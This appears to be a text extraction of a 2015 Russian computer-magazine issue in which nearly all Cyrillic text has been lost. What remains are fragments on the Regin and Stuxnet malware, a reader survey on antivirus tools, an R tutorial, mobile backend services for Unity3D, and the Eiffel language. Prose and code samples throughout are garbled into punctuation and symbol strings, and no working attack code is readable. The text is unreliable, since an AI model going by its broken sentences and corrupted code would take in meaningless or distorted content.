%Windir%;
%Windir%\fonts;
%Windir%\cursors.
FAT,
.
,
. x64
-
, -
. ,
,
, -
XOR.
() -
,
.
:
x86 NTFS Alternate Data Streams;
x86 FAT ;
x64 .
20 -
RC5 16-NRV2e.
x86 -
VMEM.sys,
-
(EVFS). Regin,
,
--
evt
imd,
, -
C:\Windows\System32.
- -
FAT, ,
-
,
16- -
RC5
NRV2e. VMEM.sys -
EVFS- -
disp.dll ( ),
,
.
x64 disp.dll,
EVFS, -
. ( VMEM.sys), disp.dll -
EVFS, .
:
HTTP HTTPS, cookie;
RAW sockets, TCP UDP;
ICMP,ping shit,
31 337; SMB.
-
- Regin
.Regin
.
, Regin -
.
-
:
. 7. Stuxnet
. 6.Regin
6
7
01 /192/ 2015Malware74
7/24/2019 2015 01 (192)
76/145
;
;
;
;
;
HTTP/SMTP/SMB.
: (RAW) NTFS /-
;
IP-(TCPDump);
;
LM database;
MS Exchange;
IIS;
,
GSM.
-
.
,
70 -
, 2008
, -
Ericsson OSS MML.
Symantec, 28%
-
, 48% -
.
-
, ,
.
-
(.
. 6).
,
Symantec -
- The Intercept
-
,
, -
(Secret Malware in European Union
Attack Linked to U. S. and British
Intelligence).
,
, -
NSA/GCHQ -
-
,
.
-
Belgacom GCHQ
,
.
, -
.
-
(fingerprint) , IP-,
, email .
,
NSA/GCHQ. ,
fingerprint,
. -
, -
, -.
Belgacom. , -
, -
(Jean-Jacques Quisquater), -
. The Intercept Regin
NSA/GCHQ.
, .
( ), -
. , -
.
. , Symantec
Regin 12 2013 . Microsoft -
9 2011 . F-Secure
Regin 2009 . , , , 2003 .
-
: , Stuxnet, Duqu Regin
. ,
. -
.
: AES , RC4 , ? ,
.
, Stuxnet.
-
zero
victims (
patient zero, -
).
, Stuxnet -
-
, -
.
.
, -
: ,
IP-.
, ,
() zero
victims. -
,
-
:
Domain A Foolad Technic
Engineering Co.;
Domain B Behpajooh Co. Elec
& Comp. Engineering;
Domain C Neda Industrial
Group; Domain D Control-Gostar
Jahed Company;
Domain E Kalaye Electric Co.
c
Foolad Technic Engineering Co.
-
Stuxnet -
.
,
Stuxnet
. , ,
-
,
.
, -
-
Stuxnet. -
,
-
.
Behpajooh Co. Elec & Comp. Engineering ,
Stuxnet ,
.
Stuxnet Symantec W32.
Stuxnet Dossier ver. 1.4 2011 . ,
, ,
Domain A, B, C, D, E?
.
?
JAVA-,
.
ERP -
Java Runtime Environment (
),
.
() -
: , -
, -
,
60-.-
.
*nix-
.
,
?-
, DDoS-, ,
.
,
, Java PowerShell
. ,
.
State sponsored malware, ,
, .
-
.
,
., (,
) :).-
-
. ,
.
!, ,
, .
01 /192/ 2015 2014 75
7/24/2019 2015 01 (192)
77/145
(, ) -. , , -. :
:). , , -. -! ,
.
2014
][
,
][. -
,
Node.
js, Erlang,
-
-
,
][, -
-
-
-
,
Malware,
, -
,
-
Deeonis,
-
Malware
,
++ , , -
,-
Malware,
-
,
X-mobile,-
,
Plan 9
:)
01 /192/ 2015Malware76
7/24/2019 2015 01 (192)
78/145
,,WIN, MAC(INTERNET SECURITY,)
-
. -
Linux Mint
,
Windows 7 x64,
,
-
.
,
PeStudio, -
-
. ,
, -
omodo
Nod32.
(Kaspersky), -
, -
, .
, -
( ) -
--
, .
security-, , -
.
,
-
. : ,
, -
, , :).
-
, , . -
Dr.Web, ESET, Essential, Avast .
-, -
(
).-
, ,
VirusTotal, - -
, -
. , ,
, ,
. KIS, . ,
. -
,
,
- .
,
, VirtualBox,
Kali, IDA, OllyDbg + ImmunityDebugger, VS, WinHex, PEiD,
ProcessExplorer, :).
KISDr.Web.
, ,
. -
1998 :).
, -
, ,
.
Deeonis
, -
Windows-,
Microsoft Security
Essentials. ,
. -
,
Windows
MS,
MS.
:).
Security Essentials -
, .
Microsoft ,
API.
ArchLinux,
,
docker/lxc. Windows
, . -,
, VirtualBox.
Windows, :
.
,
. , ,
. :).
01 /192/ 2015 2014 77
7/24/2019 2015 01 (192)
79/145
:.,?
(,, IDA)
Android-
Dr.Web:
APK ,
SMS , -
.
-
Dr.Web. ,
, -
.
,
, -
, -
, ,
.
. -
Android (
1.5),
,
-
, -
- .
, -
-
.
,
,
Motorola Defy
SIM-
AOSP
Nexus 4. /-
/
Avast. , -
. iOS, , -.
Deeonis
,
Windows Phone.
, -
, VirtualBox, Kali, IDA, OllyDbg +
ImmunityDebugger, VS, WinHex, PEiD, ProcessExplorer,
:). ? , -
,
(, ...) -
. VirtualBox -
. Kali Linux must have,
, ,
, , . IDA + Olly + Immunity + PEiD
, -
, , -
.VS IDE
.WinHex -
, , ,
. ProcessExplorer,
, .
01 /192/ 2015Malware78
7/24/2019 2015 01 (192)
80/145
Deeonis
-
NoScript
Mozila.,
-
.
, , (-
) . -
, - 2000-,
, ,
, ,
-
, -
Norton Ghost
.
,
100%-
-
. , -
15
( 40 , - -
, :)).
,
,
.-
Debian,
OS X,
.
--
, -
. , -
/sensitive
-
.
: Dropbox;
Google Drive;
Amazon Glacier/S3;
Digital Ocean;
GitHub.
-
. , DB
fast-read ,
Drive , -
, ,
review. S3
,
Glacier. ,
,
,
,
.
, , -
-
. ,
-
, private
network SSL -
,
-
bash-. -
,
c
docker-, -
, , -
(, , ,
Flash
,
). ,
backup- Time Machine. -
, :).
, , -
, :
?
!
,
. -
-
,
.
ASAP
endpoint -
.
, -
.
-
backup-,
Comodo -
Comodo Backup (
).
-
-
. ,
,
.
*nix . -
, , ,
iptables -
,
. SELinux, -
,
. -
docker/lxc, docker-
Chromium Tor.
. .
, , Hardened Gentoo ,
, , .
01 /192/ 2015 2014 79
7/24/2019 2015 01 (192)
81/145
//,
,
-
.
(, -
, )
.
-
KIS
.
-
Avast.
: -
KIS. , ,
:),
. ( Core i3 Ivy
Bridge, 4 RAM, SSD),
.
Dr.Web Light.
Avast, .
Avast -
(, ,
:)) -
,
.
-
Trend Micro,
, .
:).
,
, -
, -
:). ,
- .
Avast
omodo. Avast -
. Comodo -
,
,
.
Comodo,
-
. , -
...
Windows Ubuntu.
, -
Nod32.
, , .
Dr.Web CureIt.
Deeonis
Ubuntu. -
99% -
, -
, Wine.
//:,
,
01 /192/ 2015Malware80
7/24/2019 2015 01 (192)
82/145
, -
. , , -
, . ,
IT, , -
.
, , , ,
USB-. ,
, .
, 50% malware ,
, , -
. : ,
temp, 90 malware -
. , -
, -
. ?
. ,
IT.
, ,
.
. , malware,
, ,
. , -
, . Kaspersky
Dr.Web.
, -
. AvastAvira,
.
. -Dr.Web:
,, .-
.-
, , . , -
200 , .
Kaspersky . Kaspersky
, -
, . ,
--
ESET,
, , . ,
.
,
, ,
, -
.
Avast, , ,
, .
Comodo , -
,
.
sandbox,
.
sandbox , .
,
MALWARE
01 /192/ 2015 2014 81
7/24/2019 2015 01 (192)
83/145
!
-
,
-
( -
). , -
Shiny (shiny.rstudio.
com), -
-R.
, R -
, .
-. -
, R
, -
, ,
:).
R,
(
), -
.
,,
R -
, , -
-
. ,
, -
? -
help,
.
, -!".
,
. ,
, -
,
-
.
, -R. -R .
01 /192/ 201582
7/24/2019 2015 01 (192)
84/145
, ,
: ,
, -
. ,
REPL (Read Evaluate Print Loop).
!"#$% -
-.
, [&' &),
R, , -
() .
1
. ,
,
,
.
-
*:
+ , -. */&01023+ ,4&' & 1 2
,
, :
+ , -. */&523+ ,
4&' & 1 2
, ,
. -
, -
, . -
%6!789.
, -. &52. R -
:;?@A=:>.
, -
B7*%8".
+ , -. B7*%8"/C$DE7"#*C0 F7$G%H I &)3
+ ,4&' ) ) ) ) ) ) ) ) ) )+ F7$G%H/,34&' &)
R ,
,
R , -
. , -
. ,
? , 10. -
.:
;
();
;
;
.
R -
, .
R, , -
, ,
L. , 10L.
:
+ , -. &+ %6!789/,34&' CJ8DKF7C+ 6 -. &@
+ %6!789/634&' C#$%7G7"C
-
+, .
L$9.
-
-.. -
:
+ , -. &)+ , M ,4&' &)
+ !"#$%/,3 M 4&' &)
R
:
+ , -. */CNC0 :;
7/24/2019 2015 01 (192)
85/145
:
! # $% &'()*+ %*),+ %*),-
! ./012'#- $% &'343+ 353+ 363-
, -
.
0/7894:
! 0 $% 0/7894'.8:; < =+ .&:> < ?-
! 0 @+(A @+=A @+?A@(+A BC BC BC@=+A BC BC BC
, -
. -
, D90:
! D90'0-
@(A = ?! /7789E#712'0-FD90@(A = ?
, -
(, )
: , -
, C Java,
, , , ,
FORTRAN R. , ,
:
! 0 $% 0/7894'(GH+ .8:; < =+ .&:> < ?-
! 0 @+(A @+=A @+?A@(+A ( ? ,@=+A = I H
-
, D90:
! J $% (GH! D90'J- $% &'=+ ?-
! J @+(A @+=A @+?A@(+A ( ? ,@=+A = I H
,
:
! 0 $% 0/7894'(GI+ .8:;27 $% >927'3K1>>:3+ (),+ LMNO+ (P=9-
! >27@@(AA@(A 3K1>>:3@@=AA@(A (),
@@?AA@(A LMNO@@IAA@(A (P=9
, -
, : , -
, -
. ,
:
! > $% >927'/
7/24/2019 2015 01 (192)
86/145
!"#$% $ ' () *+,-./012#$% 3456*3) + 78 4##'%%) *+,-./0+2#$% 359*-:-;3
) +#$% $ ' (
R.
, ##%% -
, -
#%
. !##%%-. -
, !.
,
-
, : 1##$%%##(%%, -,
2 ? 1 @ -46- ? 81 @A
,
,
. -
-
-46-. ,
B 78 5/ 01 7 >2 81 -
, 1 ) >-
CDEE.
56F9G44.
. -
R ,
, --
. R
-
. /.;,
for-in.
1 78
7/24/2019 2015 01 (192)
87/145
(-)
, -
.
backend as a service (BaaS)
,
BaaS Mobile BaaS
(MBaaS). MBaaS-
,
.
, -
, -
, -
.
MBaaS, .
, , -
, Angry
Birds, :).
. , -
Unity3D/C#, -
Windows, Android iOS. ,
-. -
.
?
MBAASMBaaS--
, :
1. MBaaS-.
2. ,
, .
3. -.
4. -
, -
.
5. API (
) .
6. MBaaS -
, .
MBaaS-, -
Unity3D. BaaS-
, -
SDK Android iOS,
,
.
? -
; -
, , -
, GPS. -
Unity3D
,
(Android, iOS, Windows Phone).
, :
!"#%&'()*+&,-.',+/012"03454.6789: (; < /8=+/012"03454.6789:>?4/012"0@:8A8BC2/D@(8A8BC2/D;4/4E81? FGH:1"/E ';I' < (;@J4AAKH:1"/EL>?E8:,85"98'0?FG
:
-. ,WPA- 2011--, 28 .-.
Wikileaks -, DDoS-. .
!"##$
infiltration.ru
infiltration.ru
01 /192/ 201586
7/24/2019 2015 01 (192)
88/145
!"#$%& ()*( + ,-!"./(%0123.4$5.6%$78.(3.%"$!.#9
-
READ_PHONE_STATE, -
.
MBaaS-, , ,
:
, ,
.
GameSparks.comThe #1 Backend-as-a-Service platform
for games, -
. ,
, SDK unitypackage
.
-
: API Key API Secret
(),
-
. Unity3D -
GameSparks.
: iOS, Android,
JavaScript, Marmalade, Cocos2d, Flash . Unity3D
SDK, , , -
: , , -
,
. -
Unity SDK 2 GameSparks
,
.
NGUI . ,
, NoSQL,
, -
, -
.
GameSparks : -
-
. -, MBaaS-
.
GameSparks
20 , 20
20 API -
. -
-
, .
Kumakore.com SDK Unity, Android, iOS, -
, , REST API. ,
SDK GitHub . -
Unity3D
: SDK unitypackage,
. -
. -
Hello world . -
(
),.
Kumakore -
, ,
-
:
:8/;> ;>> + %.? :8/;>@ABCCDEFCGH.ICD.5F5.DJ;JHB0GEK;GCAL AM2MAL EDEJEMHGCEN9
-
:
;>>2!$&%$%@A;!!?1#3AN2!-%5
@3.O.&;".@=5"$1%6!.#,$&%$% ;5"$1%N P$0@;5"$1%2&."Q13.@N ++ ,";"8!Q13.!2,6QQ*,,N P
RR RR 222S SN9
Kumakore ,
, - .
Global Object, -
. app
getUser(), -
getDatastore()
:
RR T$5"$1%;#-U!"#$%&L1BV.5"W 3;"; + %.?T$5"$1%;#-U!"#$%&L 1BV.5"W@N93;";2=33@A>X1%.Y%8/AL AEKHZDJZIGAN9RR 2 !"#$%& "->. + A>X1%.A9!"#$%& %;/. + AO1[A9=5"$1%T;";!"1#.Q#.;". ;5"$1%K + ;>>2&."6!.#@N2&."T;";!"1#.@N25#.;".@"->.L %;/.L 3;";N9;5"$1%K2!-%[email protected].&;".@=5"$1%T;";!"1#.Q#.;". ;N P
$0@;2&."Q13.@N ++ ,";"8!Q13.!2,6QQ*,,N P RR \S SN9
-
( )
,
, -
. , -
: 500 API
push-.
Kii.com, .
--
. -
, , - (
), .
SDK -
, -
, , , -
. SDK DLL, JSON-.
Assets ,
.
Application ID, Application Key Site
().
-
.
:$$6!.# 8!.# + :$$6!.#2]8$O3.#^$"X_;/.@A8!.#%;/.AN2]8$O3 @N98!.#2`.&$!".#@A>;!!?1#3AL @:$$6!.# 8!.#KL*[5.>"$1% .N +W
P$0@. \+ %8OON P RR #."8#%9
SRR \SN9
JSON-.
-
.
:$$]85
7/24/2019 2015 01 (192)
89/145
!""#$%&'()*+,'- / 0112!""#$%3456+778""#$%+9: )$%; :")* +? /@
A "B7+ C/ *DEE? A FF G
+EH+ A FF C G
G?2
, JavaScript. -
, (-
, ),
:
8""4+I6+IJ)K+
7/24/2019 2015 01 (192)
90/145
. :
-
,
.
App42 Cloud API -
, .
-
: (, ,, , , , ,
) (-
, ,
, -,
, ).
-
.
App42
JSON- -
SDK,
SimpleJSON.
,
-
.
!"#$%&"'() &+,-.'()/!0,#12"!"#$%&" 30,#12"!"#$%&"/0#4
5 66 7 &+,-.'() 8 9":!"#$%&"'() ;??1@A=&>BCD"&"EA>@>IHA"@B?DA
7/24/2019 2015 01 (192)
91/145
!
,BOEING
yurembo ,
EIFFEL
,
-
, Eiffel.
.
, ,
. -
-
Eiffel, -
1985 .
(), ,
, ,
(-).
ISE
(Interactive Software Engineering), -
, (1993 ) -
Eiffel Software.
500 -
. ,
-
. ,
. -
/: Python
open source ; C/C++
, , -
, AT&T (Bell Labs),
(); Pascal,
Lua -
... , -
, -
Objective-C,
NeXT, , , Apple.
Eiffel ,
: , -
- Eiffel Sofware
Boeing, Rosenberg EMC.
(Eiffel Software, -
) , -
,
C
; -
.
, -
Eiffel. , open
source Visual Eiffel,
2007 . ,
EiffelStudio.
01 /192/ 201590
7/24/2019 2015 01 (192)
92/145
Windows, . Mac OS UNIX.
, -. ? Java? Mono? . Eiffel. .
, 01 /192/ 2015 91
7/24/2019 2015 01 (192)
93/145
1999 ,
-
. .
.
-
-
-
, , . AutoTest , -
, -
, .
-
. Eiffel,
. car -
nullptr,
() car->drive();. ,
car nullptr .
, -
,
. Void
Safety.
-
, C/C++, C# Java,
, -
.
, ,
- , .
Eiffel ! -
SCOOP (Simple Concurrent
Object-Oriented Programming) Eiffel
, -
.
, EiffelStudio
. , ( -
UML-),
, Eiffel-, -
-
, -
, . ,
,
, ,
: Pascal, Ada, Oberon. ! -
-
. ,,
, , Hello, World. -
Eiffel ,
. -
. (
) , -
-. , (client), -
(supplier), ,
. -
, ,
, -
, , .
,
, , ,
, ,
. . -
,
EiffelStudio . -
,
. .
.
-
. ,
()
: -
.
EiffelStudio
AutoTest.
,
--
01 /192/ 201592
7/24/2019 2015 01 (192)
94/145
, Eiffel, Java-, -
, .
EiffelWebEiffel
HTML-, , CGI-. EiffelLexEiffelParse
.
, .
,
! , -
Eiffel Software,,
Open Source.
EIFFELSTUDIO
EiffelStudio -
Eiffel. : -
EiffelStudio Enterprise Evolution Editio